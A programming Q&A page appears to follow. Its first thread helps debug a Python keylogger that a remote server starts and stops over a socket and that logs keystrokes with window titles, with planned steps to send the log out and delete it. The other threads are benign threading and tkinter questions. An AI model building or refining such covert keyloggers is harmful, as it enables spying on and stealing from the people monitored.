Python Socket function stopper - python

I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())

The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.

Related

How to close thread and start thread appropriate ways?

I need to run and close thread with input. Here, it uses input function to handle input. If input is start. then, run recv method as thread else input is close set second argument to False. False value to indicate loop inside recv to stop. But, My console keep open. It should close console. Cause it end of loop.
class Device():
def open(self, port, baudrate):
try:
return serial.Serial(port, baudrate)
except SerialException as e:
error = re.findall(r"'(.*?)'", str(e))
self.__error['port'] = error[0]
self.__error['description'] = error[1]
return None
def __state(self, open):
if open is None:
if self.__error['description'] == 'Access is denied.':
return True
elif self.__error['description'] == 'Port is already open.':
return True
else:
return False
else:
return True
def write(self, device, command):
if self.__state(device):
device.write(command.encode('UTF-8') + b'\r')
else:
print(self.__error['port'] + ' ' + self.__error['description'])
def recv(self, device, open = True):
while open:
if self.__state(device):
buffer = device.readline()
print(buffer)
time.sleep(1)
else:
print(device[0] + ' ' + device[1])
time.sleep(1)
device = Device()
serial = device.open('COM12', 9600)
while True:
command = input('Enter a command: ')
if command == 'start':
t = threading.Thread(target=device.recv, args=(serial,))
t.start()
elif command == 'close':
device.recv(serial, False)
elif command == 'imei':
device.write(serial, 'AT+CGSN')
If I am understanding your question, you are trying to do this:
When you begin the program and issue the start command, a new thread (Thread-2) begins executing in the recv() method of the device object
The main thread (Thread-1) continues in the event loop and presents another input prompt. At the same time, Thread-2 is looping forever inside of recv()
In Thread-1, you then issue the close command with the intention that it should disrupt Thread-2, causing it to break out of the loop and stop writing output to the terminal.
If that is correct, then the problem is in step 3: When Thread-1 makes the call device.recv(serial, False), it has no impact on the execution of Thread-2. That is because, when a thread is created and the start method is called:
t = threading.Thread(target=my_func)
t.start()
the new thread will begin executing my_func, but it will do so with it's own call stack, instruction pointer, and registers. Later, when Thread-1 calls device.recv(), it will result in a stack frame being pushed onto the call stack of Thread-1. That call is completely separate from the one that is already running in Thread-2.
Threads share many resources: Text, Data and BSS memory segments; open file descriptors; and signals (plus some other resources as well). Call stacks are not shared1.
If you need to communicate between threads, the threading library provides several options that can help. One such option is threading.Event, which can be used to communicate the occurrence of some event between threads. You could use it like this:
term_event = threading.Event()
class Device:
def recv(self, device):
while not term_event.isSet():
if self.__state(device):
buffer = device.readline()
print(buffer)
time.sleep(1)
else:
print(device[0] + ' ' + device[1])
time.sleep(1)
term_event.clear()
This creates an event object that is shared by all of the threads in the process. It can be used by Thread-1 as a way to tell Thread-2 when to exit. Then, you need to change the event loop like this:
while True:
command = input('Enter a command: ')
if command == 'start':
t = threading.Thread(target=device.recv, args=(serial,))
t.start()
elif command == 'close':
term_event.set()
elif command == 'imei':
device.write(serial, 'AT+CGSN')
Instead of calling the recv method a second time, juist set the shared event object, which Thread-2 interprets as a signal to exit. Before exiting, Thread-2 calls term_event.clear(), so a new thread can be started later on.
1: Since the threads are part of the same process, they actually occupy the same memory space as allocated by the kernel. As a consequence, each thread's private stack is (in theory) accessible by any other thread in that program.

Python global var in If statement doesn't work

First, I am an absolute beginner and sorry if I ask stupid questions.
I try to code a little program for school.
Imagine a motor with three emergency switches. A "Overheating", a "Circuit breaker" and a "manual"-switch witch all stop the motor.
In the program, the switches are simulated by tkinter-buttons in a little GUI.
If you press the button, it should output whatever case is simulated.
If the motor "stopped" but a button (or a new button) is pressed again, a message "Machine already stopped" should appear.
But that last part of the program does not work.
I've learned that vars in Python are local by default and so I tried to define the var "triggered" as global. But I've probably made some mistakes.
If I run the program, the first message (for example "Overheating!") appears but the second message "Machine already stopped" is missing when the button is pressed again.
Can you tell me where my fault is? I tried to google it but I don't know what is wrong. Sometimes it is difficult to read threads or tutorials because I am not native english-speaking.
And please tell me if there's any pseudocode in there.
As I said I am an absolute beginner but I try hard to learn it.
from tkinter import *
import sys, os
root = Tk()
root.title("Control Panel")
root.geometry("400x200")
app = Frame(root)
app.grid()
# Vars can be used later
overheat = False
# Stops motor if temperature is too high
circuitbreaker = False
# Stops if current flow is too high
manual = False
# Stops when switch is triggered manually
global triggered
triggered = False
# Returns True if one emergency unit has triggered
def Button_Overheat():
global triggered
if triggered == False:
triggered = True
print("Overheating!")
blockPrint()
else:
enablePrint()
print("Machine already stopped")
blockPrint
return
button_overheat = Button(app, text = "Overheat", command = Button_Overheat)
button_overheat.grid()
def Button_CircuitBreaker():
global triggered
if triggered == False:
print("Overload! Breaking Circuit...")
blockPrint()
else:
print("Machine already stopped")
blockPrint()
return
button_cicuitbreaker = Button(app, text = "Circuitbreaker", command = Button_CircuitBreaker)
button_cicuitbreaker.grid()
def Button_Manual():
global triggered
if triggered == False:
print("Machine was manually stopped")
blockPrint()
triggered = True
else:
print("Machine already stopped")
blockPrint()
return
button_manual = Button(app, text = "Turn off manually", command = Button_Manual)
button_manual.grid()
def blockPrint():
sys.stdout = open(os.devnull, 'w')
def enablePrint():
sys.stdout = sys.__stdout__
mainloop()
Please notice that other than in Overheating you never re enabled printing to allow it to print "Machine already stopped".
Just add enablePrint() to the other two options else clauses as well:
def Button_CircuitBreaker():
global triggered
if triggered == False:
print("Overload! Breaking Circuit...")
blockPrint()
else:
enablePrint()
print("Machine already stopped")
blockPrint()
return
def Button_Manual():
global triggered
if triggered == False:
print("Machine was manually stopped")
blockPrint()
triggered = True
else:
enablePrint()
print("Machine already stopped")
blockPrint()
return

Run a logging filter in a separate thread - Python

I have a logging filter that checks for an environment variable to change and I want it to run (in the background) in a thread separate from the process that is setting the environment variable.
What I'm trying to do: every time logging.ERROR is called in my code, the user is alerted to the error and prompted on whether or not they want to continue. Separately the filter and the prompt work correctly however, when I put them together I have a problem. I need to have the filter running in the background so the code to prompt the user can run simultaneously (right now, the filter executes first and the prompt shows up after the while loop in the filter times out, at which point it is useless).
My filter code:
class ErrorFilter(logging.Filter):
def __init__(self,level):
self.level = level
thread = threading.Thread(target=self.filter,args=())
thread.daemon = True
thread.start()
def filter(self,record):
if record.levelno == self.level:
os.environ["ERROR_FLAG"] = "True"
timeout = time.time() + 60*1 #set the timeout to 1 minute
while True:
print "waiting..."
keep_going = os.environ.get("CONTINUE_FLAG")
#wait for user to respond
if keep_going == "False" or time.time() > timeout:
print "oops there's a problem, quitting."
break
if keep_going == "True":
print "Continuing"
break
os.environ["CONTINUE_FLAG"] = "None"
I have another short method that "listens" for ERROR_FLAG and then asks for input using:
def continueAsk(message, title="Warning! Continue?", yn=("Yes","No")):
yes = set(['yes','y', 'ye', '', 'canhaz'])
no = set(['no','n', 'lolzno'])
tryLimit = 0
while tryLimit < 100:
sys.stdout.write(message + ": ")
choice = raw_input().lower()
if choice in yes:
return True
elif choice in no:
return False
else:
tryLimit+=1
sys.stdout.write("Please respond with 'yes' or 'no'.")
EDIT
I've also tried using multiprocessing in my filter like this:
from multiprocessing import Process, Queue
def __init__(self,level):
self.level = level
queue = Queue()
p = Process(target=self.filter,args=("hi"))
p.start()
p.join()
I've tried setting up my filter so it runs in a different thread, but I've not had any luck so far (the filter still runs first, followed by the prompt) and I've never used multithreading before. I know this is not a traditional use of the logger, but I appreciate any input on this.
Looking at the subprocess and multiprocess documentation, I think one of those might work as well but am not sure.

Python event loop -- multithreading -- How to run two bits of code simultaneously?

So I'm trying to utilize msvcrt.getch() to make an option to quit(without using KeyBoardInterrupt) anywhere in the program.
My code currently looks like this:
import msvcrt
import sys
print("Press q at any time to quit")
while True:
pressedKey = msvcrt.getch()
if pressedKey == 'q':
sys.exit()
else:
# do some setup
if myvar == "string":
try:
# do stuff
except:
# do stuff
else:
#do stuff
How do I run the while loop to detect the keypress of q at the same time as I'm running the other (the # do stuff blocks)?
That way, if the user goes ahead with the program, they it'll only run it once. But if they hit q, then the program will quit.
You could read keys in a separate thread or (better) use msvcrt.kbhit() as #martineau suggested:
#!/usr/bin/env python
import msvcrt
from Queue import Empty, Queue
from threading import Thread
def read_keys(queue):
for key in iter(msvcrt.getch, 'q'): # until `q`
queue.put(key)
queue.put(None) # signal the end
q = Queue()
t = Thread(target=read_keys, args=[q])
t.daemon = True # die if the program exits
t.start()
while True:
try:
key = q.get_nowait() # doesn't block
except Empty:
key = Empty
else:
if key is None: # end
break
# do stuff
If I wanted to do something in the main code when the second thread detected a certain keypress, how would I act on that?
You do not react to the key press in the main thread until code reaches q.get_nowait() again i.e., you won't notice the key press until "do stuff" finishes the current iteration of the loop. If you need to do something that may take a long time then you might need to run it in yet another thread (start new thread or use a thread pool if blocking at some point is acceptable).

Multiprocessing beside a main loop

I'm struggling with a issue for some time now.
I'm building a little script which uses a main loop. This is a process that needs some attention from the users. The user responds on the steps and than some magic happens with use of some functions
Beside this I want to spawn another process which monitors the computer system for some specific events like pressing specif keys. If these events occur then it will launch the same functions as when the user gives in the right values.
So I need to make two processes:
-The main loop (which allows user interaction)
-The background "event scanner", which searches for specific events and then reacts on it.
I try this by launching a main loop and a daemon multiprocessing process. The problem is that when I launch the background process it starts, but after that I does not launch the main loop.
I simplified everything a little to make it more clear:
import multiprocessing, sys, time
def main_loop():
while 1:
input = input('What kind of food do you like?')
print(input)
def test():
while 1:
time.sleep(1)
print('this should run in the background')
if __name__ == '__main__':
try:
print('hello!')
mProcess = multiprocessing.Process(target=test())
mProcess.daemon = True
mProcess.start()
#after starting main loop does not start while it prints out the test loop fine.
main_loop()
except:
sys.exit(0)
You should do
mProcess = multiprocessing.Process(target=test)
instead of
mProcess = multiprocessing.Process(target=test())
Your code actually calls test in the parent process, and that call never returns.
You can use the locking synchronization to have a better control over your program's flow. Curiously, the input function raise an EOF error, but I'm sure you can find a workaround.
import multiprocessing, sys, time
def main_loop(l):
time.sleep(4)
l.acquire()
# raise an EOFError, I don't know why .
#_input = input('What kind of food do you like?')
print(" raw input at 4 sec ")
l.release()
return
def test(l):
i=0
while i<8:
time.sleep(1)
l.acquire()
print('this should run in the background : ', i+1, 'sec')
l.release()
i+=1
return
if __name__ == '__main__':
lock = multiprocessing.Lock()
#try:
print('hello!')
mProcess = multiprocessing.Process(target=test, args = (lock, ) ).start()
inputProcess = multiprocessing.Process(target=main_loop, args = (lock,)).start()
#except:
#sys.exit(0)

Categories

Resources